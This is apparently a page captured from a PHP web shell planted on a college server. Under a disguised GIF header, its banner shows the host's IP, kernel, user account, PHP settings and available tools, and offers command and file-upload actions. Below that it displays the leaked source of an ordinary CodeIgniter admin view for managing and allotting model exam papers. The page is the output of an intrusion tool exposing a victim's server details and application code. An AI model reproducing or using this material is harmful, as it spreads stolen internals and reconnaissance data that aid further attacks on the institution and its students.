GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.220.206.141
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/../cas/application/views/admin/quizzes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/../cas/application/views/admin/quizzes/modelPapers.php
<!DOCTYPE HTML>
<html>
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <title>All Subjective Model Papers List | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title>
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>">
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery-ui.css"); ?>">
        <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery.dataTables.min.css"); ?>" type='text/css' />
        <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>">
        <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&amp;display=swap">
        <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jquery-ui.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script>
        <script src="<?php echo base_url("assets/admin/js/jquery.dataTables.min.js"); ?>"></script>
        <script>
            var csrfHash = '';
            var subjectId = '';
            var courseId = '';
            var staId = '';
        </script>
    </head>
    <body class="cbp-spmenu-push">
        <div class="se-pre-con"></div>
        <section>
            <?php $this->load->view("admin/navAndHeader"); ?>
            <div class="main-content">
                <div class="container-fluid content-top-gap">
                    <nav aria-label="breadcrumb">
                        <ol class="breadcrumb my-breadcrumb">
                            <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li>
                            <li class="breadcrumb-item active">Tasks & Quizzes</li>
                            <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/TasksAndQuizzes/subjectiveModelPapers"); ?>">All Subjective Model Papers</a></li>
                        </ol>
                    </nav>

                    <section class="data-tables">
                        <div class="card card_border p-4">
                            <h3 class="card__title"><i class="fa fa-file"></i> Subjective Model Papers Management</h3><br>
                            <div class="table-responsive">
                                <?php if ($this->session->flashdata('successMessage')) { ?>
                                    <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?></strong></div>
                                <?php } ?>
                                <?php if ($this->session->flashdata('errorMessage')) { ?>
                                    <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div>
                                <?php } ?>
                                <button class="btn btn-sm btn-primary" onClick="window.location.href = '<?php echo site_url("admin/TasksAndQuizzes/createSubjectiveModelPaper"); ?>'" tooltip="Create New Objective Model Paper"><i class="fa fa-plus"></i> Create New Subjective Model Paper</button><br><br>
                                <table id="allModelPapers" class="bootstrap-datatable table-striped table-hover" style="width:100%">
                                    <thead>
                                        <tr>
                                            <th>Sr. No</th>
                                            <th>Title</th>
                                            <th>Description</th>
                                            <th>Subject</th>
                                            <th>Course</th>
                                            <th>Added By</th>
                                            <th>Last Updated By</th>
                                            <th>Action</th>
                                        </tr>
                                    </thead>
                                    <tfoot>
                                        <tr>
                                            <th>Sr. No</th>
                                            <th>Topic</th>
                                            <th>Description</th>
                                            <th>Subject</th>
                                            <th>Course</th>
                                            <th>Added By</th>
                                            <th>Last Updated By</th>
                                            <th>Action</th>
                                        </tr>
                                    </tfoot>
                                    <tbody>
                                        <?php
                                        for ($i = 0; $i < sizeof($modelPapers); $i++) {
                                            $record = $modelPapers[$i];
                                            ?>
                                            <tr>
                                                <td><?php echo ($i + 1); ?></td>
                                                <th><?php echo stripslashes($record->mepm_title); ?></th>
                                                <td><?php echo stripslashes($record->mepm_description); ?></td>
                                                <td><?php echo stripslashes($record->sm_name); ?></td>
                                                <td><?php echo stripslashes($record->course_name); ?></td>
                                                <td><?php echo $record->addedByAdmin . " On " . date("d-m-Y h:i:s A", strtotime($record->mepm_added_on)); ?></td>
                                                <td><?php echo $record->updatedByAdmin . " On " . date("d-m-Y h:i:s A", strtotime($record->mepm_updated_on)); ?></td>
                                                <td>
                                                    <?php
                                                    if ($record->mepm_delete_status == 'F') {
                                                        if ($record->mepm_active_status == 'T') {
                                                            ?>
                                                            <i class="fa fa-ban" style="color:#FF0000;cursor: pointer;" title="Disable This Model Paper" onClick="window.location.href = '<?php echo site_url('admin/TasksAndQuizzes/toggleModelPaperStatus/' . $record->mepm_id . '/F/' . 'S') ?>'"></i> 
                                                            <i class="fa fa-eye" style="color:#002166;cursor: pointer;" title="View This Model Paper" onClick="getModelPaperInfo(<?php echo $record->mepm_id; ?>);"></i>
                                                            <i class='fa fa-edit' style='color:#002166;cursor: pointer;' title="Edit This Model Paper" onClick="editModelPaper(<?php echo $record->mepm_id; ?>);"  ></i>
                                                            <i class='fa fa-send' style='color:#136b13;cursor: pointer;' title="Allot This Model Paper" onClick="allotModelPaper(<?php echo $record->mepm_id; ?>);"  ></i>
                                                            <i class="fa fa-trash" style="color:#FF0000;cursor: pointer;" title="Delete This Model Paper" onClick="deleteSubjectiveModelPaper(<?php echo $record->mepm_id; ?>);"></i> 
                                                        <?php } else { ?>
                                                            <i class="fa fa-check-circle" style="color:#297534;cursor: pointer;" title="Enable This Model Paper" onClick="window.location.href = '<?php echo site_url('admin/TasksAndQuizzes/toggleModelPaperStatus/' . $record->mepm_id . '/T/' . 'S') ?>'"></i> 
                                                            <i class="fa fa-eye" style="color:#002166;cursor: pointer;" title="View This Model Paper" onClick="getModelPaperInfo(<?php echo $record->mepm_id; ?>);"></i>
                                                            <i class='fa fa-edit' style='color:#002166;cursor: pointer;' title="Edit This Model Paper" onClick="editModelPaper(<?php echo $record->mepm_id; ?>);"  ></i>
                                                            <i class='fa fa-send' style='color:#136b13;cursor: pointer;' title="Allot This Model Paper" onClick="allotModelPaper(<?php echo $record->mepm_id; ?>);"  ></i>
                                                            <i class="fa fa-trash" style="color:#FF0000;cursor: pointer;" title="Delete This Model Paper" onClick="deleteSubjectiveModelPaper(<?php echo $record->mepm_id; ?>);"></i> 
                                                            <?php
                                                        }
                                                    }
                                                    ?>
                                                </td>
                                            </tr>
                                        <?php } ?>
                                    </tbody>
                                </table>
                            </div>
                        </div>
                    </section>
                </div>
            </div>
        </section>
        <script>
            $(document).ready(function () {
                $("#allModelPapers").DataTable({responsive: true, dom: 'Blfrtip'});
            });

            function getModelPaperInfo(mepm_id) {
                event.preventDefault();
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                $.ajax({
                    url: '<?php echo site_url('admin/TasksAndQuizzes/getModelPaperInfo/'); ?>',
                    data: {mepm_id: mepm_id, csrf_token: csrfHash},
                    type: 'POST',
                    success: function (result) {
                        $(".se-pre-con").fadeOut("slow");
                        var thisModelPaperInfo = JSON.parse(result);
                        csrfHash = thisModelPaperInfo.csrfHash;
                        $("#courseAndSemester").html(thisModelPaperInfo.course_name + "-" + thisModelPaperInfo.subject_sem);
                        $("#modelPaperSubject").html(thisModelPaperInfo.subject_code + "-" + thisModelPaperInfo.subject_name);
                        $("#modelPaperTitle").html(thisModelPaperInfo.mepm_title);
                        $("#maximumMarks").html(thisModelPaperInfo.maximum_marks + " Marks");
                        $("#modelPaperDesc").html(thisModelPaperInfo.mepm_description);
                        var i = 0;
                        if (thisModelPaperInfo.mepm_group_questions.length !== 0) {
                            var comprehensiveQuestions = "";
                            comprehensiveQuestions += "<tr>";
                            comprehensiveQuestions += "<td colspan='2'><center><u><i><h5>Comprehensive Questions</h5></i></u></center></td>";
                            comprehensiveQuestions += "</tr>";
                            for (i = 0; i < thisModelPaperInfo.mepm_group_questions.length; i++) {
                                comprehensiveQuestions += "<tr>";
                                comprehensiveQuestions += "<td style='width:10%;'>" + thisModelPaperInfo.mepm_group_questions[i].sr_no + "</td>";
                                comprehensiveQuestions += "<td style='width:90%;'>" + thisModelPaperInfo.mepm_group_questions[i].sqg_question + thisModelPaperInfo.mepm_group_questions[i].sqg_image + "<br>";
                                comprehensiveQuestions += "<b>* Ques.</b>" + thisModelPaperInfo.mepm_group_questions[i].sub_questions.sqb_question + " (" + thisModelPaperInfo.mepm_group_questions[i].sub_questions.sqb_marks + " marks)<br>";
                                comprehensiveQuestions += "</td>";
                                comprehensiveQuestions += "</tr>";
                            }
                            $("#modelPaperContent").html(comprehensiveQuestions);
                        }
                        if (thisModelPaperInfo.mepm_gen_questions.length !== 0) {
                            var generalQuestions = "";
                            generalQuestions += "<tr>";
                            generalQuestions += "<td colspan='2'><center><u><i><h5>Non-Comprehensive Questions</h5></i></u></center></td>";
                            generalQuestions += "</tr>";
                            for (var j = 0; j < thisModelPaperInfo.mepm_gen_questions.length; j++) {
                                generalQuestions += "<tr>";
                                generalQuestions += "<td style='width:10%;' valign='top'>" + thisModelPaperInfo.mepm_gen_questions[j].sr_no + "</td>";
                                generalQuestions += "<td style='width:90%;'>" + thisModelPaperInfo.mepm_gen_questions[j].sqb_question + "(" + thisModelPaperInfo.mepm_gen_questions[j].sqb_marks + " marks)" + thisModelPaperInfo.mepm_gen_questions[j].sqb_image + "</td>";
                                generalQuestions += "</tr>";
                                i++;
                            }
                            $("#modelPaperContent").append(generalQuestions);
                        }
                        modelPaperUpdateFrm.csrf_token.value = csrfHash;
                        $("#modelPaperView").modal('show');
                    }
                });
            }

            function editModelPaper(mepm_id) {
                event.preventDefault();
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                $.ajax({
                    url: '<?php echo site_url('admin/TasksAndQuizzes/getModelPaperInfo/'); ?>',
                    data: {mepm_id: mepm_id, csrf_token: csrfHash},
                    type: 'POST',
                    success: function (result) {
                        $(".se-pre-con").fadeOut("slow");
                        var thisModelPaperInfo = JSON.parse(result);
                        csrfHash = thisModelPaperInfo.csrfHash;
                        $("#modalPaperTitle").html(thisModelPaperInfo.mepm_title);
                        $("#modelPaperTitleEdit").val(thisModelPaperInfo.mepm_title);
                        $("#modelPaperDescEdit").val(thisModelPaperInfo.mepm_description);
                        $("#mepmIdEdit").val(thisModelPaperInfo.mepm_id);
                        modelPaperUpdateFrm.csrf_token.value = csrfHash;
                        $("#modelPaperEditView").modal('show');
                    }
                });
            }

            function allotModelPaper(mepm_id) {
                event.preventDefault();
                $(".se-pre-con").fadeIn("slow");
                if (csrfHash === '') {
                    csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>';
                }
                $.ajax({
                    url: '<?php echo site_url('admin/TasksAndQuizzes/getModelPaperInfo/'); ?>',
                    data: {mepm_id: mepm_id, csrf_token: csrfHash},
                    type: 'POST',
                    success: function (result) {
                        $(".se-pre-con").fadeOut("slow");
                        var thisModelPaperInfo = JSON.parse(result);
                        csrfHash = thisModelPaperInfo.csrfHash;
                        subjectId = thisModelPaperInfo.subject_id;
                        courseId = thisModelPaperInfo.course_id;

                        $.ajax({
                            url: '<?php echo site_url('admin/Subject/getSubjectTeacherAllotmentDetails/'); ?>',
                            data: {session_id: $("#session").val().trim(), subject_id: subjectId, course_id: courseId, smember_id: '<?php echo $this->session->userdata("adminData")["smember_id"]; ?>', csrf_token: csrfHash},
                            type: 'POST',
                            success: function (result) {
                                var allotmentInfo = JSON.parse(result);
                                csrfHash = allotmentInfo.csrfHash;
                                staId = allotmentInfo.sta_id;
                                $.ajax({
                                    url: '<?php echo site_url('admin/Student/getStudentsAllotedToTeacherBy/'); ?>',
                                    data: {sta_id: staId, csrf_token: csrfHash},
                                    type: 'POST',
                                    success: function (result) {
                                        var studentsInfo = JSON.parse(result);
                                        $(".se-pre-con").fadeOut("slow");
                                        csrfHash = studentsInfo.csrfHash;
                                        studentsList = "";
                                        if (studentsInfo.available_students !== 0) {
                                            for (var i = 0; i < studentsInfo.student_list.length; i++) {
                                                studentsList += "<tr>";
                                                studentsList += "<td><input type='checkbox' name='selectedStudents[]' value='" + studentsInfo.student_list[i].stu_id + "'></td>";
                                                studentsList += "<td>" + (i + 1) + "</td>";
                                                studentsList += "<td>" + studentsInfo.student_list[i].stu_clg_id + "</td>";
                                                studentsList += "<td>" + studentsInfo.student_list[i].stu_name + "</td>";
                                                studentsList += "<td>" + studentsInfo.student_list[i].stu_session + "</td>";
                                                studentsList += "<td>" + studentsInfo.student_list[i].stu_entry_type + "</td>";
                                                studentsList += "</tr>";
                                            }
                                            $("#studentDetails").html(studentsList);
                                            $("#studentList").css("display", "block");
                                            $("#allotBtn").prop("disabled", "");
                                        } else {
                                            studentsList += "<tr>";
                                            studentsList += "<td colspan='7'>" + studentsInfo.message + "</td>";
                                            studentsList += "</tr>";
                                            $("#studentDetails").html(studentsList);
                                            $("#studentList").css("display", "none");
                                            $("#allotBtn").prop("disabled", "disabled");
                                        }
                                        modelPaperUpdateFrm.csrf_token.value = csrfHash;
                                        modelPaperAllotFrm.csrf_token.value = csrfHash;
                                        $('#allotedStudentsListModal').modal('show');
                                    }
                                });
                            }
                        });
                        $("#mepmIdAllotView").val(mepm_id);
                        $("#modelPaperAllotView").modal('show');
                    }
                });
            }

            function printModelPaper() {
                var divToPrint = document.getElementById("modelPaperPreview").innerHTML;
                var newWin = window.open('', 'Print-Window');
                newWin.document.open();
                newWin.document.write('<html><body onload="window.print()">' + divToPrint + '</body></html>');
                newWin.document.close();
                setTimeout(function () {
                    newWin.close();
                }, 10);
            }

            function deleteSubjectiveModelPaper(mpem_id) {
                if (confirm("Are You Sure To Delete This Model Paper? Click OK To Continue And Cancel Otherwise.")) {
                    window.location.href = "<?php echo site_url('admin/TasksAndQuizzes/deleteModelPaper/'); ?>" + mpem_id + "/S";
                }
            }
        </script>
        <?php $this->load->view("admin/footer"); ?>
        <!-- Model Paper View Starts -->
        <div class="modal fade" id="modelPaperView" role="dialog" data-backdrop="static" data-keyboard="false">
            <div class="modal-dialog modal-xl">
                <div class="modal-content">
                    <div class="modal-header">
                        <h4 class="modal-title">View Model Paper | <a href="#" onClick="printModelPaper();" title="Print This Model Paper"><i class="fa fa-print"></i></a></h4>
                        <button type="button" class="close" data-dismiss="modal">&times;</button>
                    </div>
                    <div id="modelPaperPreview" class="modal-body" style="max-height: calc(100vh - 160px);overflow-y: auto;">
                        <div style="background: #FFF;">
                            <table width="950" border="0" cellpadding="0" cellspacing="0" style="border:1px solid #000;" align="center">
                                <tr> 
                                    <td width="3"></td>
                                    <td width="797" align="center" valign="top">
                                        <table align="center" width="100%" border="0" cellpadding="0" cellspacing="0">
                                            <tr> 
                                                <td width="797" height="48" valign="top">
                                                    <table width="100%" border="0" cellpadding="0" cellspacing="0">
                                                        <tr>
                                                            <td width="797" height="120" align="center" valign="top"><img src="<?php echo base_url('assets/admin/images/ietheadernew.png'); ?>" width="95%" height="100" style="margin-top:4%"></td>
                                                        </tr>
                                                    </table>
                                                </td>
                                            </tr>
                                            <tr> 
                                                <td height="48" valign="top">
                                            <center>
                                                <p style="margin:5%;font-family: Courier;font-size: 15px;">
                                                <h4 style="font-family:Times;"><b><u><span id="modelPaperTitle"></u></span></b></h4>
                                                <h5 style="font-family:Times;"><b><span id="modelPaperSubject"></span></b></h5>
                                                <h6 style="font-family:Times;"><b><span id="courseAndSemester"></span></b></h6>
                                                </p>
                                            </center>
                                    </td>
                                </tr>

                                <tr style="font-family: Arial;font-size:12px;"> 
                                    <td height="48" valign="top">
                                        <table width="100%" border="0" cellpadding="0" cellspacing="0">
                                            <tr>
                                                <td width="797" height="25" valign="top">
                                                    <table width="100%" border="0" cellpadding="0" cellspacing="0">
                                                        <tr>
                                                            <td width="388" height="25" valign="middle">
                                                                <span style="margin-left:5%"><b>&nbsp;M.M.&nbsp;<span id="maximumMarks"></span>&nbsp;</b></span>
                                                            </td>
                                                        </tr>
                                                    </table>
                                                </td>
                                            </tr>
                                        </table>
                                    </td>
                                </tr>

                                <tr style="font-family: Arial;font-size:12px;"> 
                                    <td height="48" valign="top">
                                        <table width="100%" border="0" cellpadding="0" cellspacing="0">
                                            <tr>
                                                <td width="797" height="25" valign="top">
                                                    <table width="100%" border="0" cellpadding="0" cellspacing="0">
                                                        <tr>
                                                            <td width="388" height="25" valign="middle">
                                                                <span style="margin-left:5%"><b><span id="modelPaperDesc"></span>&nbsp;</b></span>
                                                            </td>
                                                        </tr>
                                                    </table>
                                                </td>
                                            </tr>
                                        </table>
                                    </td>
                                </tr>
                            </table>
                            <table class="table table-bordered" id="modelPaperContent">
                            </table>
                            </table>
                        </div>
                    </div>    
                    <div class="modal-footer">
                        <button class="btn btn-danger" data-dismiss="modal">Close</button>
                    </div>
                </div>
            </div>
        </div>
        <!-- Model Paper View Ends -->
        <!-- Model Paper Edit View Starts -->
        <div class="modal fade" id="modelPaperEditView" role="dialog" data-backdrop="static" data-keyboard="false">
            <div class="modal-dialog modal-xl">
                <div class="modal-content">
                    <div class="modal-header">
                        <h4 class="modal-title">Editing Model Paper => <b><span id="modalPaperTitle"></span></b></h4>
                        <button type="button" class="close" data-dismiss="modal">&times;</button>
                    </div>
                    <div class="modal-body" style="max-height: calc(100vh - 160px);overflow-y: auto;">
                        <?php echo form_open(site_url('admin/TasksAndQuizzes/updateModelExamPaper'), ['name' => 'modelPaperUpdateFrm', 'id' => 'modelPaperUpdateFrm']); ?>
                        <fieldset>
                            <div class="form-row">
                                <div class="form-group col-md-12">
                                    <label for="modelPaperTitleEdit" class="input__label">Model Paper Title *</label>
                                    <input type="text" class="form-control input-style" id="modelPaperTitleEdit" name="modelPaperTitleEdit" placeholder="Enter Model Paper Title">
                                </div>
                            </div>
                            <div class="form-row">
                                <div class="form-group col-md-12">
                                    <label for="modelPaperDescEdit" class="input__label">Model Paper Description</label>
                                    <textarea class="form-control input-style" id="modelPaperDescEdit" name="modelPaperDescEdit" placeholder="Enter Model Paper Description"></textarea>
                                </div>
                            </div>
                            <input type="hidden" id="mepmIdEdit" name="mepmIdEdit">
                            <input type="hidden" id="mepmType" name="mepmType" value="S">
                            <button id="editModelPaperBtn" type="button" class="btn btn-primary btn-block btn-style mt-4"><i class="fa fa-save"></i>&nbsp;Save Changes</button>
                        </fieldset>
                        <?php echo form_close(); ?>
                    </div>    
                    <div class="modal-footer">
                        <button class="btn btn-danger" data-dismiss="modal">Close</button>
                    </div>
                </div>
            </div>
        </div>
        <!-- Model Paper Edit View Ends -->
        <!-- Model Paper Allottment View Ends -->
        <div class="modal fade" id="modelPaperAllotView" role="dialog" data-backdrop="static" data-keyboard="false">
            <div class="modal-dialog modal-xl">
                <div class="modal-content">
                    <div class="modal-header">
                        <h4 class="modal-title"><b>Allot Model Paper</b></h4>
                        <button type="button" class="close" data-dismiss="modal">&times;</button>
                    </div>
                    <div class="modal-body" style="max-height: calc(100vh - 160px);overflow-y: auto;">
                        <?php echo form_open(site_url('admin/TasksAndQuizzes/allotModelExamPaper'), ['name' => 'modelPaperAllotFrm', 'id' => 'modelPaperAllotFrm']); ?>
                        <fieldset>
                            <div class="form-row">
                                <div class="form-group col-md-3" style="display:none;">
                                    <label for="session" class="input__label">Session *</label>
                                    <select id="session" name="session" class="custom-select">
                                        <option value="">Select Session</option>
                                        <?php foreach ($sessions as $session) { ?>
                                            <option <?php if ($session->session_status == "C"){ echo "selected"; } ?> value="<?php echo $session->session_id; ?>" <?php echo set_select("session", $session->session_id); ?>><?php echo stripslashes($session->session_name); ?></option>
                                        <?php }
                                        ?>
                                    </select>
                                </div>
                            </div>
                            <div class="form-row">
                                <div class="form-group col-md-6">
                                    <label for="modelPaperStartDate" class="input__label">Start Date *</label>
                                    <input type="text" class="form-control" id="modelPaperStartDate" name="modelPaperStartDate" value="<?php echo set_value('modelPaperStartDate'); ?>" placeholder="Choose Start Date" autocomplete="off" maxlength="15">
                                </div>
                                <div class="form-group col-md-6">
                                    <label for="modelPaperEndDate" class="input__label">End Date *</label>
                                    <input type="text" class="form-control" id="modelPaperEndDate" name="modelPaperEndDate" value="<?php echo set_value('modelPaperEndDate'); ?>" placeholder="Choose End Date" autocomplete="off" maxlength="15">
                                </div>
                            </div>
                            <fieldset id="studentList" style="display: none;">
                                <legend>Student(s) List</legend>
                                <div class="form-row">
                                    <table style="width:100%" class="table table-warning">
                                        <tr>
                                            <th><input type="checkbox" id="selectAllStudents" name="selectAllStudents" value="A">&nbsp;Select All</th>
                                            <th>Sr. No</th>
                                            <th>College Id</th>
                                            <th>Name</th>
                                            <th>Session</th>
                                            <th>Type</th>
                                        </tr>
                                        <tbody id="studentDetails"></tbody>
                                    </table>
                                </div>
                            </fieldset>
                            <input type="hidden" id="mepmIdAllotView" name="mepmIdAllotView">
                            <input type="hidden" name="mepmType" value="S">
                            <button id="allotBtn" disabled="disabled" type="button" class="btn btn-primary btn-block btn-style mt-4"><i class="fa fa-reply-all"></i>&nbsp;Allot Model Paper</button>
                        </fieldset>
                        <?php echo form_close(); ?>
                    </div>    
                    <div class="modal-footer">
                        <button class="btn btn-danger" data-dismiss="modal">Close</button>
                    </div>
                </div>
            </div>
        </div>
        <!-- Model Paper Allottment View Ends -->
        <script>
            $("#editModelPaperBtn").on("click", function () {
                if ($("#modelPaperTitleEdit").val().trim() === "") {
                    alert("Model Paper Title Can Not Be Blank.");
                    $("#modelPaperTitleEdit").focus();
                } else {
                    $("#modelPaperUpdateFrm").submit();
                }
            });

            $(function () {
                var dateFormat = "dd/mm/yy",
                        from = $("#modelPaperStartDate")
                        .datepicker({
                            dateFormat: dateFormat,
                            defaultDate: '0',
                            changeMonth: true,
                            changeYear: true,
                            numberOfMonths: 1
                        })
                        .on("change", function () {
                            to.datepicker("option", "minDate", getDate(this));
                        }),
                        to = $("#modelPaperEndDate").datepicker({
                    dateFormat: dateFormat,
                    defaultDate: '0',
                    changeMonth: true,
                    changeYear: true,
                    numberOfMonths: 1
                })
                        .on("change", function () {
                            from.datepicker("option", "maxDate", getDate(this));
                        });

                function getDate(element) {
                    var date;
                    try {
                        date = $.datepicker.parseDate(dateFormat, element.value);
                    } catch (error) {
                        date = null;
                    }
                    return date;
                }
            });

            $("#selectAllStudents").click(function () {
                $("input[name='selectedStudents[]']").prop('checked', $(this).prop('checked'));
            });

            $("#allotBtn").on("click", function () {
                if ($("#modelPaperStartDate").val().trim() === "") {
                    alert("Please Enter Start Date.");
                    $("#modelPaperStartDate").focus();
                } else if ($("#modelPaperEndDate").val().trim() === "") {
                    alert("Please Enter End Date.");
                    $("#modelPaperEndDate").focus();
                } else if (($("[name='selectedStudents[]']:checked").length === 0)) {
                    alert("Please Select At Least One Student From The List To Allot Model Paper.");
                } else {
                    $("#modelPaperAllotFrm").submit();
                }
            });
        </script>
    </body>
</html>

KBHT - 2023